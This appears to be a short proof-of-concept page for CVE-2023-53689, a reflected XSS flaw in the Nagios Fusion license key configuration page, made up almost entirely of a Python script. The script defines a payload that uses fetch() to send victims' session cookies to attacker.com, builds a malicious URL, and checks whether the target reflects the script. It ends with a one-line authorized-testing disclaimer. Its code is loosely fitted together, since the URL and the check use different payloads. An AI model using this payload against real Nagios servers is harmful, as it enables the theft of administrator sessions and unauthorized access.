CVE-2023-53689: Nagios Fusion license key配置页面反射型XSS漏洞

import requests # CVE-2023-53689 PoC - Reflected XSS in Nagios Fusion license key configuration # Target: Nagios Fusion < 4.2.0 TARGET_URL = "https://target-server/nagiosfusion/" # XSS payload - Cookie stealing example # The payload should be URL-encoded and placed in a parameter used in license key flow payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Construct malicious URL pointing to license key configuration endpoint # Adjust the endpoint path based on actual Nagios Fusion installation malicious_url = f"{TARGET_URL}admin/license.php?key=<script>alert(document.domain)</script>" print(f"[*] Target: {TARGET_URL}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {payload}") print("\n[*] When victim visits this URL, the XSS payload will be executed in their browser context") print("[*] Attacker's server should be listening on https://attacker.com to receive stolen cookies") # Verify the vulnerability exists (basic check) def verify_reflected_xss(url): """Check if the XSS payload is reflected in the response without sanitization""" try: response = requests.get(url, timeout=10, verify=False) if payload in response.text or "<script>" in response.text: print(f"[+] VULNERABLE: XSS payload reflected in response") return True else: print(f"[-] NOT VULNERABLE or payload not found") return False except requests.RequestException as e: print(f"[-] Error connecting to target: {e}") return False # Example usage: # verify_reflected_xss(malicious_url) print("\n[!] Disclaimer: This PoC is for authorized security testing only")